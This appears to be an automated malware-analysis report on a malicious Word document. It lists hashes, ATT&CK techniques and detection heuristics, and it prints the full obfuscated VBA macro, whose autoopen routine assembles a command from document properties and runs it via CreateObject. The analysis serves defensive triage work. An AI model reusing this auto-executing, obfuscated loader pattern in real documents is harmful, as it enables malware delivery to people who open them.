Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0cb971758dd450c3…

MALICIOUS

Office (OLE)

86.0 KB Created: 2017-08-30 18:05:00 Authoring application: Microsoft Office Word First seen: 2017-09-14
MD5: 8b235d81b66d5d48a940f01aa22e3d37 SHA-1: 228ebb0f32716182195cf379f5aeb44eb402de66 SHA-256: 0cb971758dd450c3b169411364f8fb0ca91be6670adcff0caf0ce40c2662e459
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The file is a malicious Office document containing a VBA macro. The macro is obfuscated and uses CreateObject, indicating it likely downloads and executes a second-stage payload. ClamAV detection as 'Doc.Macro.VBSDownloader-6336817-0' further supports this assessment. The presence of an autoopen macro suggests it executes automatically upon opening.

Heuristics 8

  • ClamAV: Doc.Macro.VBSDownloader-6336817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.VBSDownloader-6336817-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    NmyHFVs = KaMcdDh + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + wgHTbRff + WWuMFDa + DMFcSmEvpbh + txATWFvydkv + BPfHPyfRUES + aGvgxyaMBeV + UGWawmn + ggTdUymEDu + KDyZcSZ + fLHeKDTdtNF + UMccnkDkma + yFSBdcSZFWg + WcvTAbuY + VtchvpzhUeF + LshNVtTnX + mGfwFELY + KPsUHDaw
CreateObject(CVgAArB).Run$ NmyHFVs + wgHTbRff + WWuMFDa + DMFcSmEvpbh + txATWFvydkv + BPfHPyfRUES + aGvgxyaMBeV + UGWawmn + ggTdUymEDu + KDyZcSZ + fLHeKDTdtNF + UMccnkDkma + yFSBdcSZFWg + WcvTAbuY + VtchvpzhUeF + LshNVtTnX + mGfwFELY + gSYGEpgy, 0
xxAPagbSPNt = "DARksugrCs"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
     End Function
Sub autoopen()
wAwEdbkC
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11760 bytes
SHA-256: 1d9778cd5e2dcf620295f3704fd8a748a10a4274bd75096991703afb00a05a08
Detection
ClamAV: No threats found
Obfuscation or payload: likely
492 of 595 identifiers look randomly generated (e.g. 'ATnvgHAVWkZ') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function WwndNufdPTS()
LMRHBFthb = 7235
Dim KWHEFFBvKY(7235)
KWHEFFBvKY(4373) = EufFwApztL
 KWHEFFBvKY(5110) = PmesCLa
 KWHEFFBvKY(1987) = rFDDSXSsREE
 KWHEFFBvKY(5825) = uaTEUwz
 KWHEFFBvKY(1387) = bzNgSgxXZv
 KWHEFFBvKY(267) = DBuymte
 KWHEFFBvKY(4088) = zdVdTVGBP
 KWHEFFBvKY(1711) = kuGpKpLg
 KWHEFFBvKY(6639) = xzfPCaGKxme
 KWHEFFBvKY(5410) = rrHzsDUKMT
 KWHEFFBvKY(1564) = sXnPwDde
 KWHEFFBvKY(2383) = gRVxsMyzFR
 KWHEFFBvKY(370) = ebYvCGXehkL
 KWHEFFBvKY(1191) = skrTHstbTz
 KWHEFFBvKY(3722) = teLupgTDtdx
 KWHEFFBvKY(2522) = KcrDerB
 KWHEFFBvKY(6586) = fLYCFFrn
 KWHEFFBvKY(1862) = PChvSsupLHf
 KWHEFFBvKY(6931) = PKUKdtdpKS
 KWHEFFBvKY(4212) = ExvCLNkw
 bSEgzSgGxr = "VUwEuMKz"
 nNusarz = "rwbvbRXbY"
 dsnXMyyUFVh = "CHFDtXaF"
 UhDpHsBeb = "NArNRGG"
 eAxNhapucYW = "zVuaGUA"
 mAzraGntsBR = "SaxNSAFfnc"
 SRkbbeAxswR = "hSUXRgYh"
 kAFSEMV = "zEgXZYyv"
 MLDTbCuUx = "HgGNzDwF"
 BfxtdyAn = "zFvWaGSRr"
 hbePuKkFwhX = "RFcvawzeVT"
 LwtaGDs = "YaFZSWVRh"
 UnAnHTERE = "rKSxZwgM"
 mgbhStRCFLP = "xLXXYdTSek"
 NrXBAWDymP = "cSuNkux"
 wSscyrBpM = "AVhSTUL"
 mdwgwFdpXYs = "SzBxZbxFb"
 SMzWuMWzTD = "CwdCeNGdYm"
 CMAYaGt = "wcwfdrbhr"
 NVWrSNrwfT = "EMKShdHgtdW"
 sECAvTwbCet = "fxyXbyhRf"
 mMeSgmaFeD = "tntnmHZ"
 StusHbVg = "aVenytG"
 LAsRKRnW = "hHMkpsLrywY"
 SzgzAweU = "rLYkfGsFP"
 XnyKrxnNeMF = "thmfdLNvHzc"
 End Function
Function agzbyLLp()
eNXPNnub = 975
Dim NXSXknBAXd(975)
NXSXknBAXd(647) = mGutUWF
 NXSXknBAXd(370) = EkbVNRnM
 NXSXknBAXd(273) = TeGVseYvPzS
 NXSXknBAXd(162) = ywBDPMuf
 NXSXknBAXd(406) = BprPWPUhb
 NXSXknBAXd(466) = XxcURhzyY
 NXSXknBAXd(596) = EysAvpz
 NXSXknBAXd(781) = XCxrSSV
 NXSXknBAXd(147) = TBvBaHKs
 NXSXknBAXd(410) = LSMsEYe
 NXSXknBAXd(189) = LDxeMwK
 NXSXknBAXd(432) = kutBgES
 NXSXknBAXd(474) = UGAVAELM
 NXSXknBAXd(676) = dYFhDzv
 NXSXknBAXd(220) = uXYyxzt
 NXSXknBAXd(949) = NUGrkNTgw
 NXSXknBAXd(289) = cwakzkstwe
 NXSXknBAXd(675) = BzHEPNG
 NXSXknBAXd(360) = GGmzLgc
 NXSXknBAXd(746) = hhaFFCHNR
 wFYcSvFrbr = "UrUvhxWM"
 PNtGSxx = "KgRLHuVDdF"
 EfZScDae = "fuKPKvP"
 hapfLHs = "deAVUHe"
 eywLfFwKPG = "YMhhgDDUav"
 nGPfwuZD = "KSyPxMbsUkf"
 PddFBKPgH = "dWBvdREwwn"
 XsrcrEua = "VpFHvyPnNx"
 STUxxLaFn = "zYFYRLfRe"
 MNAyKsa = "GMPSAby"
 hhSRXvwpYV = "RTeUuuWAz"
 EHAMzZpKhe = "ZbHMmYKG"
 xtKPyaSPER = "WvNdxGyEWgv"
 bkzvvgn = "hbCcALcnWwc"
 End Function
Function hhttcLzKK()
yXcnaYr = 1919
Dim WbhSDDKCMF(1919)
WbhSDDKCMF(1132) = zgHBcKT
 WbhSDDKCMF(602) = mySREhscytR
 WbhSDDKCMF(1453) = XCPrpNWDm
 WbhSDDKCMF(820) = HADdavh
 WbhSDDKCMF(721) = NtPbYeD
 WbhSDDKCMF(121) = ShcaSGbPRtV
 WbhSDDKCMF(192) = UuZcXnVHCHA
 WbhSDDKCMF(109) = VkPaeaur
 WbhSDDKCMF(167) = umPygGMrbPD
 WbhSDDKCMF(410) = wMsypvWum
 WbhSDDKCMF(564) = bmbnmvRCDrU
 WbhSDDKCMF(1203) = AfgYGueMe
 esmUaHTu = "dZRxuxrfKx"
 XHeUMZrmrv = "eVUECmZ"
 zhPyHRcUEf = "vMdehbKM"
 yEymrsGgxF = "EZmNMzcW"
 PPmwueRUEf = "bayZxyePBK"
 yvazeWnWaDw = "TssXmaxu"
 wWSMXXPmnnm = "KMLbVMAY"
 arvrURsGR = "faFzvLbdHK"
 DngLcwXSKn = "TRvWhuZg"
 HNNbNrEAFd = "aXLGcgt"
 WmZLFuxc = "ftnsMavERPg"
 EvfBBfMhM = "pyfbNYwtdV"
 BDPKFtauT = "puBzhxB"
 XEekznDshW = "bBHcseHDeSm"
 weFbeREK = "GryYAeBgrT"
 TxLgkztKx = "MhZVREshm"
 yWsFPtxFLUa = "DkdrGWEUuXT"
 UMDEHHcvf = "CFsTVtSZdHp"
 PnbtGhdVc = "FPDXdVED"
 YHxuYMr = "gENECnepPms"
 AFTgbZS = "cVYtBus"
 HFTmVHupcX = "DdxtbkGPXY"
 yVDVxTR = "mLuNzLgbaXW"
 aTEHePnt = "bmDaWtdnP"
 End Function
Function TxZaaMDyza()
YYARZDzUtn = 9662
Dim keDmZWMs(9662)
keDmZWMs(6095) = rkbhngE
 keDmZWMs(2212) = pAshNDWBFX
 keDmZWMs(8046) = KMMfkaTTz
 keDmZWMs(6571) = ahDTayZR
 keDmZWMs(9140) = ccUymyYHF
 keDmZWMs(4701) = kATrPEG
 keDmZWMs(1875) = SagREXTuT
 keDmZWMs(2964) = KyGFUUt
 keDmZWMs(1802) = caDnHSxkS
 keDmZWMs(3911) = HghTXbWXUb
 keDmZWMs(6875) = UdUbUZXHCp
 keDmZWMs(6626) = khHgyzK
 keDmZWMs(9621) = ckARasZX
 keDmZWMs(352) = ztMaXTt
 keDmZWMs(128) = fgYdykzS
 keDmZWMs(5243) = ckpZWdEL
 keDmZWMs(964) = xEwRgxVzBAT
 keDmZWMs(327) = aCuGFSAdNW
 keDmZWMs(8631) = vXHBUcRb
 FSCguBhcDVv = "gpecmsAvP"
 kudVyKFR = "VWDyzundf"
 rHccLvZ = "xndvDPPx"
 DPcfduaeb = "AeZmNrN"
 EEkAEKe = "xfpcPgeM"
 MRZspNuApb = "whSsvrGkEP"
 VrWKACRVwcb = "XesXuhWK"
 KMMGZZM = "NKhsLDGtL"
 DzcnfdYCyhY = "SbhaMADErf"
 hvmxyYkz = "ScZPzhZVng"
 rtGsDGcLh = "snnNSCp"
 PtEeHeNWV = "KdFcWSsWCg"
 LZnfhGPCa = "KcKweSeYgZ"
 kkyrPdazatp = "MZTnNxeDUs"
 ySrnnxnZPFd = "LRRspMgwnPA"
 WPTmhNePWsS = "dPEavxdYcCL"
 zbSTfuG = "gkkuaYc"
 sUmcMTwa = "YudYcYwLLZ"
 FGgaTBF = "bGGsvaN"
 ENWgMNZuDwR = "LrUhwvUNnDm"
 FDbCDYxS = "MStgdFuCKL"
 TtXGpxpSb = "YDherXU"
 PrfnZpXchw = "LcHBHvGVH"
 xLcLnzw = "WedYyVLTnu"
 HTcMBtfbm = "aXFnbbu"
 HPmAgFcwrgu = "nayazwsXS"
 wtnmzKDG = "xrYvHyVcZhS"
 dKZNNKYCBU = "SurhREP"
 nNDhckbW = "YppdbEB"
 End Function
Function FeGDXXrUre()
tSZRKvy = 1777
Dim bNUYRLce(1777)
bNUYRLce(794) = VLTvexS
 bNUYRLce(1547) = gZBKFmZB
 bNUYRLce(1094) = YmrypprFzg
 bNUYRLce(577) = KHdGRKmc
 bNUYRLce(339) = NyErZtPE
 bNUYRLce(229) = WmtLPkUTEAP
 bNUYRLce(463) = MrMPtZbuRrY
 bNUYRLce(218) = dztncCfrnuR
 bNUYRLce(658) = aCgkSnmpX
 bNUYRLce(755) = kKYCDcXUD
 bNUYRLce(1569) = KfFAynAvfVz
 bNUYRLce(1043) = HHBuPXg
 bNUYRLce(1486) = LLpGdCh
 bNUYRLce(1349) = SsZFdAD
 NUFDDcYF = "WDLdCggz"
 DxhPAXUc = "AcWwEEt"
 AVSPDfc = "MkkHaSKBUp"
 kBATdDV = "YrDNmML"
 hxnXHfndE = "GfdKHYWpdv"
 XnRwASCB = "ZhTBYxc"
 sprErracx = "BRwbaLN"
 vavWTSgFnZF = "RTCUTptvMk"
 rGzuvvtZDvx = "LkdUChY"
 thnVEdN = "MFAARaBtGVm"
 ALTCnfT = "SRnLWaG"
 zPRwMsm = "gUcKkUP"
 nRVAebNdDy = "PbTkhSeeYpp"
 fEpTnWMpGR = "pPmxxbxcF"
 TmfzAHGzr = "gtSpxuSBMk"
 mUKEGmzV = "vbBFFyVAwB"
 PXmdrKh = "SfFLddCBU"
 FeRuhZkNwn = "LRLhAmWn"
 TrTySZeGTG = "AenBhTGxP"
 ufdpYmCW = "XTSUvsKe"
 CKraZup = "dcbmvADf"
 DGzBVFzZen = "xEEhLDhGBc"
 angAKMpLCZN = "knCUHABUdxm"
 kFvbdfADgeT = "MWycLBMC"
 BHkMcWxnScr = "THbyScCB"
 End Function
Function REstaPau()
mxgTpLguV = 6485
Dim raabfHZKKnB(6485)
raabfHZKKnB(1482) = CftEZPp
 raabfHZKKnB(2869) = FWcsafCAt
 raabfHZKKnB(620) = vMpFMRXaaUb
 raabfHZKKnB(2765) = PCPCrvVNYR
 raabfHZKKnB(2217) = tKKYZSVFHPn
 raabfHZKKnB(3687) = RuArmPk
 raabfHZKKnB(5721) = ZWPUtTU
 raabfHZKKnB(5339) = DzUpGcWryLb
 raabfHZKKnB(962) = SEwfHKKN
 raabfHZKKnB(5093) = tGRbDfvR
 raabfHZKKnB(5916) = xnHLDHZKUP
 raabfHZKKnB(1776) = KwwKpWtuSNa
 raabfHZKKnB(3870) = gYpSVmD
 raabfHZKKnB(4645) = CbXedUm
 raabfHZKKnB(3339) = gtUbkvcDHhH
 raabfHZKKnB(4967) = ftdpgFE
 raabfHZKKnB(2890) = BaNTxXZCFu
 raabfHZKKnB(5550) = AfyxXLpRBGs
 raabfHZKKnB(3758) = HwpAUTRMDmu
 raabfHZKKnB(2972) = ahcmCrcFK
 raabfHZKKnB(3660) = WmvaYpzCtr
 raabfHZKKnB(3421) = SrxYBLtZVA
 raabfHZKKnB(144) = wEwmAgYZ
 raabfHZKKnB(458) = dNmhzvT
 raabfHZKKnB(5491) = YUKpAPceN
 raabfHZKKnB(4885) = ntBMXLddBFg
 YCVNEec = "DAaPmBUHffS"
 MdPprDFTLm = "EhwZNrS"
 XzWRpCftE = "xwCYBgeT"
 mRLFchLm = "DxDWfzLNFw"
 vEPFNYBzX = "uPWhuXC"
 zUNtZLwWk = "EpvEnWa"
 KfpnXyDnguf = "hhXhhvExNtX"
 FpTCspGdTxK = "nZfdKpY"
 LZcGbCFDXRs = "MNdbtKS"
 rNpyvdg = "FwrMWCBCtSc"
 bDDHhMZN = "LccAXts"
 LDSHRHFmFx = "EuLfsEcTN"
 gEbwWGMCka = "EnfvBbGRA"
 wHPgcsYSnwE = "uVacscCXaNm"
 bDpshzD = "dHSZnVDaKF"
 EVgCmzVH = "bxnLnafWc"
 SVPwAbLH = "UanxrSYtt"
 Xkgrmgpnu = "UyEptspgxsw"
 XnhpHNFcMh = "ZnPhFRVL"
 bmkPWCUePRA = "vsAPeDhM"
 LcsPSZeXM = "FHEgMVsNCvL"
 ZXvEHCX = "ehMzxXyt"
 End Function
Function ypFWTRSWrg()
MevrZKNY = 7464
Dim ZKWkZHFp(7464)
ZKWkZHFp(3653) = xUGmRLEHep
 ZKWkZHFp(6368) = fScTTxLnfE
 ZKWkZHFp(5944) = vgWMAFS
 ZKWkZHFp(4758) = FmxezpH
 ZKWkZHFp(2221) = UYtTmPM
 ZKWkZHFp(6053) = PzaRECWfxw
 ZKWkZHFp(3852) = LgkLazyE
 ZKWkZHFp(363) = XPdLddKx
 ZKWkZHFp(3689) = WPEcfnF
 ZKWkZHFp(6262) = CNWBuTZwMx
 ZKWkZHFp(6895) = rmRxsANSM
 ZKWkZHFp(2511) = eVmdnRef
 ZKWkZHFp(5602) = gyvHpkRT
 ZKWkZHFp(348) = eCTuwbAW
 ZKWkZHFp(3596) = kkDTUDmYsca
 ZKWkZHFp(7258) = nwLKbeTF
 ZKWkZHFp(4511) = GdNcyhF
 ZKWkZHFp(6442) = vyYEdWvs
 ZKWkZHFp(4675) = NMMKhTP
 ZKWkZHFp(548) = VSVvkvw
 ZKWkZHFp(3484) = hkgtrbH
 ZKWkZHFp(481) = FUrSYYRNsEP
 ZKWkZHFp(1378) = TGRuTaX
 BDudTgX = "KRGKbwPP"
 hGfvKaxuGp = "KcXwwHBBC"
 rRHzBEKDx = "eGfhTem"
 YzpbyXV = "TkcHhNUKvhg"
 kcyZmTtecR = "kGyThrNcRe"
 gRApmdKsHfz = "SRRAUACZrya"
 nSdRawGGM = "nkeyLTGHnSR"
 nTvxdSBWuyr = "trannBW"
 GKnLUTsPFz = "kUWzSAZNDX"
 zTCdzwRKy = "yPynVerC"
 End Function
Sub autoopen()
wAwEdbkC
End Sub
Public Function wZsLAteka(rpApfPVYFt)
vgUPRfpTAD = "ydWcDnvh"
UFncTPEDBg = ActiveDocument.CustomDocumentProperties(rpApfPVYFt)
wZsLAteka = UFncTPEDBg
CMvFLmzeH = "MRChrtUyda"
 VsLCUguPUYu = "EZcARBD"
 tYFkpRPE = "hdtxkyT"
 rYseyupvH = "WbEbPfMXH"
 BUxhDbVGZva = "SaeBDeUnxg"
 ApnSeZHEEx = "MrYdfLmU"
 ZspEKmMvX = "ZgmdwYn"
End Function
Public Function wAwEdbkC()
hmCmfZgAc = "KXShTgAxYV"
CVgAArB = wZsLAteka("HEayVcnnySN") + wZsLAteka("nKZzbteCMUt") + wgHTbRff + WWuMFDa + DMFcSmEvpbh + txATWFvydkv + BPfHPyfRUES + aGvgxyaMBeV + UGWawmn + ggTdUymEDu + KDyZcSZ + fLHeKDTdtNF + UMccnkDkma + yFSBdcSZFWg + WcvTAbuY + VtchvpzhUeF + LshNVtTnX + mGfwFELY + wZsLAteka("fvxegeZS") + wZsLAteka("TpbRTnHDUnc") + wZsLAteka("KVtXABkp")
CmzDALh = "BmsexXC"
KaMcdDh = wZsLAteka("kGhavnyYhB") + wZsLAteka("MRTeasDebKU") + wZsLAteka("FNAeyhEEuH") + wZsLAteka("ULtgzspb") + wZsLAteka("YrSKteEzG") + wgHTbRff + WWuMFDa + DMFcSmEvpbh + txATWFvydkv + BPfHPyfRUES + aGvgxyaMBeV + UGWawmn + ggTdUymEDu + KDyZcSZ + fLHeKDTdtNF + UMccnkDkma + yFSBdcSZFWg + WcvTAbuY + VtchvpzhUeF + LshNVtTnX + mGfwFELY + wZsLAteka("UpYrNUfkr")
NmyHFVs = KaMcdDh + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + wgHTbRff + WWuMFDa + DMFcSmEvpbh + txATWFvydkv + BPfHPyfRUES + aGvgxyaMBeV + UGWawmn + ggTdUymEDu + KDyZcSZ + fLHeKDTdtNF + UMccnkDkma + yFSBdcSZFWg + WcvTAbuY + VtchvpzhUeF + LshNVtTnX + mGfwFELY + KPsUHDaw
CreateObject(CVgAArB).Run$ NmyHFVs + wgHTbRff + WWuMFDa + DMFcSmEvpbh + txATWFvydkv + BPfHPyfRUES + aGvgxyaMBeV + UGWawmn + ggTdUymEDu + KDyZcSZ + fLHeKDTdtNF + UMccnkDkma + yFSBdcSZFWg + WcvTAbuY + VtchvpzhUeF + LshNVtTnX + mGfwFELY + gSYGEpgy, 0
xxAPagbSPNt = "DARksugrCs"
 apfbWApcbZv = "mhSatnrVk"
 yUneDbgn = "PFDkXyS"
End Function

Function uRzUyFBzsPr()
XKSgSptyS = 9073
Dim fAfKEHze(9073)
fAfKEHze(3327) = cKUmyPGS
 fAfKEHze(2459) = kgMAeRV
 fAfKEHze(7985) = FBnLerhEg
 gHsydZE = ("rvFvAzH")
 End Function
Function ePERtyGta()
PBVfzaE = 3267
Dim cuTSnYC(3267)
cuTSnYC(2152) = bMWxZZZ
 DVdAuNNtTL = ("zspUfurHUg")
 End Function
Function TKcLBWseU()
EZDDCPmuvue = 555
Dim GhzTUtgtWfF(555)
GhzTUtgtWfF(125) = hmmpTZcBK
 bZyCYUBAEzX = ("CcrzzVAm")
 End Function
Function XMCXagsd()
HYmacsp = 2196
Dim VYemArRDK(2196)
VYemArRDK(1536) = CBBtnSGYsha
 TCchrsTGZ = ("kzfFRNLuyZ")
 bZKkeGBbUpB = ("ATnvgHAVWkZ")
 End Function
Function WcaWaXDdtCE()
DtdEKcxnz = 1163
Dim WkxrNSWg(1163)
WkxrNSWg(1129) = PuxrEPMHzU
 WkxrNSWg(61) = SmAUKsxv
 ACnNfFhN = ("RNtgasvUuG")
 LsnZkekfRP = ("LCVsSar")
 vyTnpVp = ("SCTnEcvSePx")
 End Function
Function pweyZLmGeEK()
UybGgnKNGZ = 954
Dim wgsVGyBLMDz(954)
wgsVGyBLMDz(356) = aGtSSwBsk
 wgsVGyBLMDz(924) = wYVRRnEtfD
 pWUCvWH = ("mPraaFT")
 YYpcgXayYNP = ("ktHyWUDyK")
 End Function
Function RenkfXPVfr()
NmzdNHBz = 8983
Dim aDCvzsepFR(8983)
aDCvzsepFR(6444) = xwhLUVbXdWb
 aDCvzsepFR(6040) = pwTzsEYn
 aDCvzsepFR(6515) = kvBtvacySS
 fyrsCmfrM = ("pXznVALG")
 MyAmPXSDVp = ("dMSZXNsEV")
 End Function

Open this report in the interactive analyzer, or submit your own file for analysis.